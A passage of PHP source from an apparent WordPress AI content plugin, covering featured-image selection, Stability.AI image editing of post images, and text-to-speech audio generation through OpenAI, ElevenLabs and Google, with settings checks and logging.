                                                    if(!empty($z_img))
                                                    {
                                                        if (!aiomatic_generate_featured_image($z_img, $post->ID)) {
                                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                                aiomatic_log_to_file('aiomatic_generate_featured_image failed using royalty free image: ' . $z_img);
                                                            }
                                                        }
                                                        else
                                                        {
                                                            $img_saved = true;
                                                            $img_set = true;
                                                        }
                                                        break;
                                                    }
                                                }
                                            }
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) 
                                            {
                                                $api_service = aiomatic_get_api_service($token, $kw_model);
                                                aiomatic_log_to_file('Successfully got API keyword result from ' . $api_service . ': ' . $ai_title);
                                            }
                                        }
                                    }
                                }
                                if($img_set == false)
                                {
                                    $keyword_class = new Aiomatic_keywords();
                                    $query_words = $keyword_class->keywords($image_query, 2);
                                    $z_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $img_attr, 10, true, $raw_img_list, array(), $full_result_list);
                                    if($z_img == '' || $z_img === false)
                                    {
                                        if(isset($aiomatic_Main_Settings['bimage']) && $aiomatic_Main_Settings['bimage'] == 'on')
                                        {
                                            $query_words = $keyword_class->keywords($image_query, 1);
                                            $z_img = aiomatic_get_free_image($aiomatic_Main_Settings, $query_words, $img_attr, 20, true, $raw_img_list, array(), $full_result_list);
                                        }
                                    }
                                    if(!empty($z_img))
                                    {
                                        if (!aiomatic_generate_featured_image($z_img, $post->ID)) {
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                aiomatic_log_to_file('aiomatic_generate_featured_image failed using royalty free image: ' . $z_img);
                                            }
                                        }
                                        else
                                        {
                                            $img_saved = true;
                                        }
                                    }
                                }
                            }
                            if($img_saved == true)
                            {
                                if (isset($aiomatic_Spinner_Settings['change_status']) && $aiomatic_Spinner_Settings['change_status'] != '' && $aiomatic_Spinner_Settings['change_status'] != 'no') 
                                {
                                    $args = array();
                                    $args['ID'] = $post->ID;
                                    $args['post_status'] = $aiomatic_Spinner_Settings['change_status'];
                                    remove_filter('content_save_pre', 'wp_filter_post_kses');
                                    remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                    remove_filter('title_save_pre', 'wp_filter_kses');
                                    update_post_meta($post->ID, $custom_name, "pub");
                                    $post_updated = wp_update_post($args);
                                    add_filter('content_save_pre', 'wp_filter_post_kses');
                                    add_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                    add_filter('title_save_pre', 'wp_filter_kses');
                                    if (is_wp_error($post_updated)) {
                                        $errors = $post_updated->get_error_messages();
                                        foreach ($errors as $error) {
                                            aiomatic_log_to_file('Error occured while updating post for title "' . $post->post_title . '": ' . $error);
                                        }
                                    }
                                }
                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                    aiomatic_log_to_file('Post ID ' . $post->ID . ' "' . $post->post_title . '" was successfully updated with royalty free image.');
                                }
                            }
                        }
                        if (isset($aiomatic_Spinner_Settings['ai_featured_image_edit']) && $aiomatic_Spinner_Settings['ai_featured_image_edit'] != '' && $aiomatic_Spinner_Settings['ai_featured_image_edit'] != 'disabled')
                        {
                            update_post_meta($post->ID, $custom_name, "pub");
                            if (isset($aiomatic_Spinner_Settings['image_strength']) && trim($aiomatic_Spinner_Settings['image_strength']) != '')
                            {
                                $image_strength = trim($aiomatic_Spinner_Settings['image_strength']);
                            }
                            else
                            {
                                $image_strength = '0.90';
                            }
                            wp_suspend_cache_addition(true);
                            $metas = get_post_custom($post->ID);
                            wp_suspend_cache_addition(false);
                            if(is_array($metas))
                            {
                                $rez_meta = aiomatic_preg_grep_keys('#.+?_featured_ima?ge?#i', $metas);
                            }
                            else
                            {
                                $rez_meta = array();
                            }
                            if(count($rez_meta) > 0)
                            {
                                foreach($rez_meta as $rm)
                                {
                                    if(isset($rm[0]) && filter_var($rm[0], FILTER_VALIDATE_URL))
                                    {
                                        $featured_image = $rm[0];
                                        break;
                                    }
                                }
                            }
                            if(empty($featured_image))
                            {
                                $featured_image   = get_the_post_thumbnail_url($post->ID, 'full');
                            }
                            if(empty($featured_image))
                            {
                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                    aiomatic_log_to_file('Post ID ' . $post->ID . ' does not have a featured image assigned, nothing to edit!');
                                }
                            }
                            else
                            {
                                $img_saved = false;
                                if (isset($aiomatic_Spinner_Settings['ai_image_command_edit']) && $aiomatic_Spinner_Settings['ai_image_command_edit'] != '')
                                {
                                    $aicontent = trim(strip_tags($aiomatic_Spinner_Settings['ai_image_command_edit']));
                                    $aicontent = aiomatic_replaceSynergyShortcodes($aicontent);
                                    $post_link = get_permalink($post->ID);
                                    $blog_title       = html_entity_decode(get_bloginfo('title'));
                                    $author_obj       = get_user_by('id', $post->post_author);
                                    $user_name        = $author_obj->user_nicename;
                                    $post_cats = '';
                                    $post_categories = wp_get_post_categories( $post->ID );
                                    foreach($post_categories as $c){
                                        $cat = get_category( $c );
                                        $post_cats .= $cat->name . ',';
                                    }
                                    $post_cats = trim($post_cats, ',');
                                    if($post_cats != '')
                                    {
                                        $post_categories = explode(',', $post_cats);
                                    }
                                    else
                                    {
                                        $post_categories = array();
                                    }
                                    if(count($post_categories) == 0)
                                    {
                                        $terms = get_the_terms( $post->ID, 'product_cat' );
                                        if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){
                                            foreach ( $terms as $term ) {
                                                $post_categories[] = $term->slug;
                                            }
                                            $post_cats = implode(',', $post_categories);
                                        }
                                        
                                    }
                                    foreach($post_categories as $pc)
                                    {
                                        if (!$manual && isset($aiomatic_Spinner_Settings['disabled_categories']) && !empty($aiomatic_Spinner_Settings['disabled_categories'])) {
                                            foreach($aiomatic_Spinner_Settings['disabled_categories'] as $disabled_cat)
                                            {
                                                if($manual != true && trim($pc) == get_cat_name($disabled_cat))
                                                {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                                                    {
                                                        aiomatic_log_to_file('Skipping post, has a disabled category (' . get_cat_name($disabled_cat) . '): ' . $post->post_title);
                                                    }
                                                    return;
                                                }
                                            }
                                        }
                                    }
                                    $post_tagz = '';
                                    $post_tags = wp_get_post_tags( $post->ID );
                                    foreach($post_tags as $t){
                                        $post_tagz .= $t->name . ',';
                                    }
                                    $post_tagz = trim($post_tagz, ',');
                                    if($post_tagz != '')
                                    {
                                        $post_tags = explode(',', $post_tagz);
                                    }
                                    else
                                    {
                                        $post_tags = array();
                                    }
                                    if(count($post_tags) == 0)
                                    {
                                        $terms = get_the_terms( $post->ID, 'product_tag' );
                                        if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){
                                            foreach ( $terms as $term ) {
                                                $post_tags[] = $term->slug;
                                            }
                                            $post_tagz = implode(',', $post_tags);
                                        }
                                        
                                    }
                                    foreach($post_tags as $pt)
                                    {
                                        if (!$manual && isset($aiomatic_Spinner_Settings['disable_tags']) && $aiomatic_Spinner_Settings['disable_tags'] != '') {
                                            
                                            $disable_tags = explode(",", $aiomatic_Spinner_Settings['disable_tags']);
                                            foreach($disable_tags as $disabled_tag)
                                            {
                                                if($manual != true && trim($pt) == trim($disabled_tag))
                                                {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                                                    {
                                                        aiomatic_log_to_file('Skipping post, has a disabled tag: ' . $post->post_title);
                                                    }
                                                    return;
                                                }
                                            }
                                        }
                                    }
                                    $aicontent = replaceAIPostShortcodes($aicontent, $post_link, $post_title, $blog_title, $post->post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $post->ID, '', '', '', '', '', '');
                                }
                                else
                                {
                                    $aicontent = trim(strip_tags($final_content));
                                    if(empty($aicontent))
                                    {
                                        $aicontent = trim(strip_tags($post->post_excerpt));
                                    }
                                    if(empty($aicontent))
                                    {
                                        $aicontent = trim(strip_tags($post_title));
                                        $last_char = aiomatic_substr($aicontent, -1, null);
                                        if(!ctype_punct($last_char))
                                        {
                                            $aicontent .= '.';
                                        }
                                    }
                                }
                                if(isset($aiomatic_Spinner_Settings['ai_featured_image_engine']) && $aiomatic_Spinner_Settings['ai_featured_image_engine'] != '')
                                {
                                    $fisource = $aiomatic_Spinner_Settings['ai_featured_image_engine'];
                                }
                                else
                                {
                                    $fisource = '2';
                                }
                                if($fisource == '2')
                                {
                                    
                                    if (!isset($aiomatic_Main_Settings['stability_app_id']) || trim($aiomatic_Main_Settings['stability_app_id']) == '') 
                                    {
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                                        {
                                            aiomatic_log_to_file('You need to enter a Stability.AI API key in the plugin\'s settings for this feature to work.');
                                        }
                                    }
                                    else
                                    {
                                        $aicontent = trim($aicontent);
                                        if(strlen($aicontent) > 2000)
                                        {
                                            $aicontent = aiomatic_substr($aicontent, 0, 2000);
                                        }
                                        $skip_this_copy = true;
                                        if(!function_exists('is_plugin_active'))
                                        {
                                            include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                        }
                                        if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on') 
                                        {
                                            $skip_this_copy = false;
                                        }
                                        $ierror = '';
                                        $temp_get_imgs = aiomatic_generate_stability_image_to_image($featured_image, $aicontent, $image_strength, 'editorAIFeaturedStableImage', 0, false, $ierror, $skip_this_copy, false);
                                        if($temp_get_imgs !== false)
                                        {
                                            $temp_get_img_local = $temp_get_imgs[0];
                                            if (!aiomatic_assign_featured_image_path($temp_get_img_local, $post->ID)) {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                    aiomatic_log_to_file('aiomatic_assign_featured_image_path failed using Stability.AI image editor for ' .$temp_get_imgs[1]);
                                                }
                                            }
                                            else
                                            {
                                                $img_saved = true;
                                            }
                                        }
                                        else
                                        {
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                aiomatic_log_to_file('Post ID ' . $post->ID . ' failed to edit the featured image using Stability.AI: ' . $ierror);
                                            }
                                        }
                                    }
                                }
                                if($img_saved == true)
                                {
                                    if (isset($aiomatic_Spinner_Settings['change_status']) && $aiomatic_Spinner_Settings['change_status'] != '' && $aiomatic_Spinner_Settings['change_status'] != 'no') 
                                    {
                                        $args = array();
                                        $args['ID'] = $post->ID;
                                        $args['post_status'] = $aiomatic_Spinner_Settings['change_status'];
                                        remove_filter('content_save_pre', 'wp_filter_post_kses');
                                        remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                        remove_filter('title_save_pre', 'wp_filter_kses');
                                        update_post_meta($post->ID, $custom_name, "pub");
                                        $post_updated = wp_update_post($args);
                                        add_filter('content_save_pre', 'wp_filter_post_kses');
                                        add_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                        add_filter('title_save_pre', 'wp_filter_kses');
                                        if (is_wp_error($post_updated)) {
                                            $errors = $post_updated->get_error_messages();
                                            foreach ($errors as $error) {
                                                aiomatic_log_to_file('Error occured while updating post for title "' . $post->post_title . '": ' . $error);
                                            }
                                        }
                                    }
                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                        aiomatic_log_to_file('Post ID ' . $post->ID . ' "' . $post->post_title . '" was successfully updated with AI generated image.');
                                    }
                                }
                            }
                        }
                        if (isset($aiomatic_Spinner_Settings['ai_featured_image_edit_content']) && $aiomatic_Spinner_Settings['ai_featured_image_edit_content'] != '' && $aiomatic_Spinner_Settings['ai_featured_image_edit_content'] != 'disabled')
                        {
                            update_post_meta($post->ID, $custom_name, "pub");
                            if (isset($aiomatic_Spinner_Settings['image_strength_content']) && trim($aiomatic_Spinner_Settings['image_strength_content']) != '')
                            {
                                $image_strength = trim($aiomatic_Spinner_Settings['image_strength_content']);
                            }
                            else
                            {
                                $image_strength = '0.90';
                            }
                            $pattern = '/<img[^>]+src="([^"]+)"/i';
                            $srcs = [];
                            if (preg_match_all($pattern, $post->post_content, $matches) && isset($matches[1])) 
                            {
                                $srcs = $matches[1];
                            }
                            if(count($srcs) > 0)
                            {
                                if (isset($aiomatic_Spinner_Settings['ai_image_command_edit_content']) && $aiomatic_Spinner_Settings['ai_image_command_edit_content'] != '')
                                {
                                    $aicontent = trim(strip_tags($aiomatic_Spinner_Settings['ai_image_command_edit_content']));
                                    $aicontent = aiomatic_replaceSynergyShortcodes($aicontent);
                                    $post_link = get_permalink($post->ID);
                                    $blog_title       = html_entity_decode(get_bloginfo('title'));
                                    $author_obj       = get_user_by('id', $post->post_author);
                                    $user_name        = $author_obj->user_nicename;
                                    $post_cats = '';
                                    $post_categories = wp_get_post_categories( $post->ID );
                                    foreach($post_categories as $c){
                                        $cat = get_category( $c );
                                        $post_cats .= $cat->name . ',';
                                    }
                                    $post_cats = trim($post_cats, ',');
                                    if($post_cats != '')
                                    {
                                        $post_categories = explode(',', $post_cats);
                                    }
                                    else
                                    {
                                        $post_categories = array();
                                    }
                                    if(count($post_categories) == 0)
                                    {
                                        $terms = get_the_terms( $post->ID, 'product_cat' );
                                        if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){
                                            foreach ( $terms as $term ) {
                                                $post_categories[] = $term->slug;
                                            }
                                            $post_cats = implode(',', $post_categories);
                                        }
                                        
                                    }
                                    foreach($post_categories as $pc)
                                    {
                                        if (!$manual && isset($aiomatic_Spinner_Settings['disabled_categories']) && !empty($aiomatic_Spinner_Settings['disabled_categories'])) {
                                            foreach($aiomatic_Spinner_Settings['disabled_categories'] as $disabled_cat)
                                            {
                                                if($manual != true && trim($pc) == get_cat_name($disabled_cat))
                                                {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                                                    {
                                                        aiomatic_log_to_file('Skipping post, has a disabled category (' . get_cat_name($disabled_cat) . '): ' . $post->post_title);
                                                    }
                                                    return;
                                                }
                                            }
                                        }
                                    }
                                    $post_tagz = '';
                                    $post_tags = wp_get_post_tags( $post->ID );
                                    foreach($post_tags as $t){
                                        $post_tagz .= $t->name . ',';
                                    }
                                    $post_tagz = trim($post_tagz, ',');
                                    if($post_tagz != '')
                                    {
                                        $post_tags = explode(',', $post_tagz);
                                    }
                                    else
                                    {
                                        $post_tags = array();
                                    }
                                    if(count($post_tags) == 0)
                                    {
                                        $terms = get_the_terms( $post->ID, 'product_tag' );
                                        if ( ! empty( $terms ) && ! is_wp_error( $terms ) ){
                                            foreach ( $terms as $term ) {
                                                $post_tags[] = $term->slug;
                                            }
                                            $post_tagz = implode(',', $post_tags);
                                        }
                                        
                                    }
                                    foreach($post_tags as $pt)
                                    {
                                        if (!$manual && isset($aiomatic_Spinner_Settings['disable_tags']) && $aiomatic_Spinner_Settings['disable_tags'] != '') {
                                            
                                            $disable_tags = explode(",", $aiomatic_Spinner_Settings['disable_tags']);
                                            foreach($disable_tags as $disabled_tag)
                                            {
                                                if($manual != true && trim($pt) == trim($disabled_tag))
                                                {
                                                    if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                                                    {
                                                        aiomatic_log_to_file('Skipping post, has a disabled tag: ' . $post->post_title);
                                                    }
                                                    return;
                                                }
                                            }
                                        }
                                    }
                                    $aicontent = replaceAIPostShortcodes($aicontent, $post_link, $post_title, $blog_title, $post->post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $post->ID, '', '', '', '', '', '');
                                }
                                else
                                {
                                    $aicontent = trim(strip_tags($final_content));
                                    if(empty($aicontent))
                                    {
                                        $aicontent = trim(strip_tags($post->post_excerpt));
                                    }
                                    if(empty($aicontent))
                                    {
                                        $aicontent = trim(strip_tags($post_title));
                                        $last_char = aiomatic_substr($aicontent, -1, null);
                                        if(!ctype_punct($last_char))
                                        {
                                            $aicontent .= '.';
                                        }
                                    }
                                }
                                $aicontent = trim($aicontent);
                                if(strlen($aicontent) > 2000)
                                {
                                    $aicontent = aiomatic_substr($aicontent, 0, 2000);
                                }
                                if(isset($aiomatic_Spinner_Settings['ai_featured_image_engine_content']) && $aiomatic_Spinner_Settings['ai_featured_image_engine_content'] != '')
                                {
                                    $fisource = $aiomatic_Spinner_Settings['ai_featured_image_engine_content'];
                                }
                                else
                                {
                                    $fisource = '2';
                                }
                                if($fisource == '2')
                                {
                                    if (!isset($aiomatic_Main_Settings['stability_app_id']) || trim($aiomatic_Main_Settings['stability_app_id']) == '') 
                                    {
                                        if (isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on') 
                                        {
                                            aiomatic_log_to_file('You need to enter a Stability.AI API key in the plugin\'s settings for this feature to work.');
                                        }
                                    }
                                    if(!function_exists('is_plugin_active'))
                                    {
                                        include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
                                    }
                                    $skip_this_copy = true;
                                    if ((is_plugin_active('featured-image-from-url/featured-image-from-url.php') || is_plugin_active('fifu-premium/fifu-premium.php')) && isset($aiomatic_Main_Settings['url_image']) && trim($aiomatic_Main_Settings['url_image']) == 'on') 
                                    {
                                        $skip_this_copy = false;
                                    }
                                    $changemade = 0;
                                    foreach($srcs as $fimg)
                                    {
                                        if($fisource == '2')
                                        {
                                            $ierror = '';
                                            $temp_get_imgs = aiomatic_generate_stability_image_to_image($fimg, $aicontent, $image_strength, 'editorAIFeaturedStableImage', 0, false, $ierror, $skip_this_copy, false);
                                            if($temp_get_imgs !== false)
                                            {
                                                $temp_get_img_remote = $temp_get_imgs[1];
                                                $post->post_content = str_replace($fimg, $temp_get_img_remote, $post->post_content);
                                                $changemade++;
                                            }
                                            else
                                            {
                                                if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                    aiomatic_log_to_file('Post ID ' . $post->ID . ' failed to edit the content image (' . $fimg . ') using Stability.AI: ' . $ierror);
                                                }
                                            }
                                        }
                                    }
                                    if ($changemade > 0) 
                                    {
                                        $args = array();
                                        $args['ID'] = $post->ID;
                                        if (isset($aiomatic_Spinner_Settings['change_status']) && $aiomatic_Spinner_Settings['change_status'] != '' && $aiomatic_Spinner_Settings['change_status'] != 'no') 
                                        {
                                            $args['post_status'] = $aiomatic_Spinner_Settings['change_status'];
                                        }
                                        $args['post_content'] = $post->post_content;
                                        remove_filter('content_save_pre', 'wp_filter_post_kses');
                                        remove_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                        remove_filter('title_save_pre', 'wp_filter_kses');
                                        update_post_meta($post->ID, $custom_name, "pub");
                                        $post_updated = wp_update_post($args);
                                        add_filter('content_save_pre', 'wp_filter_post_kses');
                                        add_filter('content_filtered_save_pre', 'wp_filter_post_kses');
                                        add_filter('title_save_pre', 'wp_filter_kses');
                                        if (is_wp_error($post_updated)) {
                                            $errors = $post_updated->get_error_messages();
                                            foreach ($errors as $error) {
                                                aiomatic_log_to_file('Error occured while updating AI generated images for post title "' . $post->post_title . '": ' . $error);
                                            }
                                        }
                                        else
                                        {
                                            if (isset($aiomatic_Main_Settings['enable_detailed_logging'])) {
                                                aiomatic_log_to_file('Post ID ' . $post->ID . ' "' . $post->post_title . '" was successfully updated with ' . $changemade . ' Stability AI edited images in post content.');
                                            }
                                        }
                                    }
                                }
                            }
                        }
                        if (isset($aiomatic_Spinner_Settings['content_text_speech']) && $aiomatic_Spinner_Settings['content_text_speech'] != '' && $aiomatic_Spinner_Settings['content_text_speech'] != 'off')
                        {
                            $copy_it = 'local';
                            if(isset($aiomatic_Spinner_Settings['copy_location']) && !empty($aiomatic_Spinner_Settings['copy_location']))
                            {
                                $copy_it = $aiomatic_Spinner_Settings['copy_location'];
                            }
                            $updated = false;
                            if($aiomatic_Spinner_Settings['content_text_speech'] == 'openai')
                            {
                                if(!isset($aiomatic_Spinner_Settings['text_to_audio']) || empty($aiomatic_Spinner_Settings['text_to_audio']))
                                {
                                    aiomatic_log_to_file('No text to send to text-to-speech!');
                                }
                                else
                                {
                                    if (!isset($aiomatic_Main_Settings['app_id'])) 
                                    {
                                        $aiomatic_Main_Settings['app_id'] = '';
                                    }
                                    $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id']));
                                    $appids = array_filter($appids);
                                    $token = $appids[array_rand($appids)];
                                    if (empty($token))
                                    {
                                        aiomatic_log_to_file('You need to enter an OpenAI API key for this to work!');
                                    }
                                    else
                                    {
                                        if(aiomatic_is_aiomaticapi_key($token) || (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)))
                                        {
                                            aiomatic_log_to_file('Only OpenAI API keys are supported at the moment.');
                                        }
                                        else
                                        {
                                            if(isset($aiomatic_Spinner_Settings['open_model_id']) && $aiomatic_Spinner_Settings['open_model_id'] != '')
                                            {
                                                $open_model_id = $aiomatic_Spinner_Settings['open_model_id'];
                                            }
                                            else
                                            {
                                                $open_model_id = 'tts-1';
                                            }
                                            if(isset($aiomatic_Spinner_Settings['open_voice']) && $aiomatic_Spinner_Settings['open_voice'] != '')
                                            {
                                                $open_voice = $aiomatic_Spinner_Settings['open_voice'];
                                            }
                                            else
                                            {
                                                $open_voice = 'alloy';
                                            }
                                            if(isset($aiomatic_Spinner_Settings['open_format']) && $aiomatic_Spinner_Settings['open_format'] != '')
                                            {
                                                $open_format = $aiomatic_Spinner_Settings['open_format'];
                                            }
                                            else
                                            {
                                                $open_format = 'mp3';
                                            }
                                            if(isset($aiomatic_Spinner_Settings['open_speed']) && $aiomatic_Spinner_Settings['open_speed'] != '')
                                            {
                                                $open_speed = $aiomatic_Spinner_Settings['open_speed'];
                                            }
                                            else
                                            {
                                                $open_speed = '1';
                                            }
                                            $message = trim($aiomatic_Spinner_Settings['text_to_audio']);
                                            $message = aiomatic_replaceSynergyShortcodes($message);
                                            if(!empty($message))
                                            {
                                                $message = replaceAIPostShortcodes($message, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, '', '', '', '', '');
                                                $session = aiomatic_get_session_id();
                                                $message = wp_strip_all_tags($message);
                                                if(!empty($message))
                                                {
                                                    $query = new Aiomatic_Query($message, 0, 'openai-' . $open_model_id, '0', '', 'text-to-speech', 'text-to-speech', $token, $session, 1, '', '');
                                                    $result = aiomatic_openai_voice_stream($token, $open_model_id, $open_voice, $open_format, $open_speed, $message);
                                                    if(is_array($result))
                                                    {
                                                        aiomatic_log_to_file('Error occurred in OpenAI audio processing: ' . print_r($result, true));
                                                    }
                                                    else
                                                    {
                                                        apply_filters( 'aiomatic_ai_reply_text', $query, $message );
                                                        $localfile = aiomatic_copy_audio_stream_locally($result, 'audio_' . time() . '.' . $open_format, $copy_it);
                                                        if($localfile === false)
                                                        {
                                                            aiomatic_log_to_file('Failed to save audio file locally to your server.');
                                                        }
                                                        else
                                                        {
                                                            $retpath = $localfile[0];
                                                            $prep_txt = '';
                                                            if (isset($aiomatic_Spinner_Settings['prep_audio']) && $aiomatic_Spinner_Settings['prep_audio'] != '')
                                                            {
                                                                $prep_txt = $aiomatic_Spinner_Settings['prep_audio'];
                                                            }
                                                            if (isset($aiomatic_Spinner_Settings['audio_location']) && $aiomatic_Spinner_Settings['audio_location'] == 'append') 
                                                            {
                                                                $final_content = $final_content . $prep_txt . ' <br/> [audio src="' . $retpath . '"]';
                                                                $updated = true;
                                                            }
                                                            elseif (isset($aiomatic_Spinner_Settings['audio_location']) && $aiomatic_Spinner_Settings['audio_location'] == 'preppend')
                                                            {
                                                                $final_content = $prep_txt . '[audio src="' . $retpath . '"] <br/> ' . $final_content;
                                                                $updated = true;
                                                            }
                                                        }
                                                    }
                                                }
                                                else
                                                {
                                                    aiomatic_log_to_file('Empty input message after strippinig html tags');
                                                }
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty input message after audio processing');
                                            }
                                        }
                                    }
                                }
                            }
                            elseif($aiomatic_Spinner_Settings['content_text_speech'] == 'elevenlabs')
                            {
                                if(!isset($aiomatic_Spinner_Settings['text_to_audio']) || empty($aiomatic_Spinner_Settings['text_to_audio']))
                                {
                                    aiomatic_log_to_file('No text to send to text-to-speech!');
                                }
                                else
                                {
                                    if (!isset($aiomatic_Main_Settings['elevenlabs_app_id'])) 
                                    {
                                        $aiomatic_Main_Settings['elevenlabs_app_id'] = '';
                                    }
                                    $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['elevenlabs_app_id']));
                                    $appids = array_filter($appids);
                                    $token = $appids[array_rand($appids)];
                                    if (empty($token))
                                    {
                                        aiomatic_log_to_file('You need to enter an ElevenLabs API key for this to work!');
                                    }
                                    else
                                    {
                                        if(isset($aiomatic_Spinner_Settings['eleven_voice_custom']) && $aiomatic_Spinner_Settings['eleven_voice_custom'] != '')
                                        {
                                            $voice = $aiomatic_Spinner_Settings['eleven_voice_custom'];
                                        }
                                        else
                                        {
                                            if(isset($aiomatic_Spinner_Settings['eleven_voice']) && $aiomatic_Spinner_Settings['eleven_voice'] != '')
                                            {
                                                $voice = $aiomatic_Spinner_Settings['eleven_voice'];
                                            }
                                            else
                                            {
                                                $voice = '21m00Tcm4TlvDq8ikWAM';
                                            }
                                        }
                                        $message = trim($aiomatic_Spinner_Settings['text_to_audio']);
                                        $message = aiomatic_replaceSynergyShortcodes($message);
                                        if(!empty($message))
                                        {
                                            $message = replaceAIPostShortcodes($message, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, '', '', '', '', '');
                                            $session = aiomatic_get_session_id();
                                            $message = wp_strip_all_tags($message);
                                            if(!empty($message))
                                            {
                                                $query = new Aiomatic_Query($message, 0, 'elevenlabs', '0', '', 'text-to-speech', 'text-to-speech', trim($aiomatic_Main_Settings['elevenlabs_app_id']), $session, 1, '', '');
                                                $result = aiomatic_elevenlabs_stream($voice, $message, 'aiomatic_Spinner_Settings');
                                                if(is_array($result)){
                                                    aiomatic_log_to_file('Error occurred in ElevenLabs AI audio processing: ' . print_r($result, true));
                                                }
                                                else
                                                {
                                                    apply_filters( 'aiomatic_ai_reply_text', $query, $message );
                                                    $localfile = aiomatic_copy_audio_stream_locally($result, 'audio_' . time() . '.mp3', $copy_it);
                                                    if($localfile === false)
                                                    {
                                                        aiomatic_log_to_file('Failed to save audio file locally to your server.');
                                                    }
                                                    else
                                                    {
                                                        $retpath = $localfile[0];
                                                        $prep_txt = '';
                                                        if (isset($aiomatic_Spinner_Settings['prep_audio']) && $aiomatic_Spinner_Settings['prep_audio'] != '')
                                                        {
                                                            $prep_txt = $aiomatic_Spinner_Settings['prep_audio'];
                                                        }
                                                        if (isset($aiomatic_Spinner_Settings['audio_location']) && $aiomatic_Spinner_Settings['audio_location'] == 'append') 
                                                        {
                                                            $final_content = $final_content . $prep_txt . ' <br/> [audio src="' . $retpath . '"]';
                                                            $updated = true;
                                                        }
                                                        elseif (isset($aiomatic_Spinner_Settings['audio_location']) && $aiomatic_Spinner_Settings['audio_location'] == 'preppend')
                                                        {
                                                            $final_content = $prep_txt . '[audio src="' . $retpath . '"] <br/> ' . $final_content;
                                                            $updated = true;
                                                        }
                                                    }
                                                }
                                            }
                                        }
                                    }
                                }
                            }
                            elseif($aiomatic_Spinner_Settings['content_text_speech'] == 'google')
                            {
                                if(!isset($aiomatic_Spinner_Settings['text_to_audio']) || empty($aiomatic_Spinner_Settings['text_to_audio']))
                                {
                                    aiomatic_log_to_file('No text to send to text-to-speech!');
                                }
                                else
                                {
                                    if (!isset($aiomatic_Main_Settings['google_app_id'])) 
                                    {
                                        $aiomatic_Main_Settings['google_app_id'] = '';
                                    }
                                    $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['google_app_id']));
                                    $appids = array_filter($appids);
                                    $token = $appids[array_rand($appids)];
                                    if (empty($token))
                                    {
                                        aiomatic_log_to_file('You need to enter an Google API key for this to work!');
                                    }
                                    else
                                    {
                                        if(isset($aiomatic_Spinner_Settings['google_voice']) && $aiomatic_Spinner_Settings['google_voice'] != '')
                                        {
                                            $voice = $aiomatic_Spinner_Settings['google_voice'];
                                            if(isset($aiomatic_Spinner_Settings['audio_profile']) && $aiomatic_Spinner_Settings['audio_profile'] != '')
                                            {
                                                $audio_profile = $aiomatic_Spinner_Settings['audio_profile'];
                                            }
                                            else
                                            {
                                                $audio_profile = '';
                                            }
                                            if(isset($aiomatic_Spinner_Settings['voice_language']) && $aiomatic_Spinner_Settings['voice_language'] != '')
                                            {
                                                $voice_language = $aiomatic_Spinner_Settings['voice_language'];
                                                if(isset($aiomatic_Spinner_Settings['voice_speed']) && $aiomatic_Spinner_Settings['voice_speed'] != '')
                                                {
                                                    $voice_speed = $aiomatic_Spinner_Settings['voice_speed'];
                                                }
                                                else
                                                {
                                                    $voice_speed = '';
                                                }
                                                if(isset($aiomatic_Spinner_Settings['voice_pitch']) && $aiomatic_Spinner_Settings['voice_pitch'] != '')
                                                {
                                                    $voice_pitch = $aiomatic_Spinner_Settings['voice_pitch'];
                                                }
                                                else
                                                {
                                                    $voice_pitch = '';
                                                }
                                                $message = trim($aiomatic_Spinner_Settings['text_to_audio']);
                                                $message = aiomatic_replaceSynergyShortcodes($message);
                                                if(!empty($message))
                                                {
                                                    $message = replaceAIPostShortcodes($message, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, '', '', '', '', '');
                                                    $session = aiomatic_get_session_id();
                                                    $message = wp_strip_all_tags($message);
                                                    if(!empty($message))
                                                    {
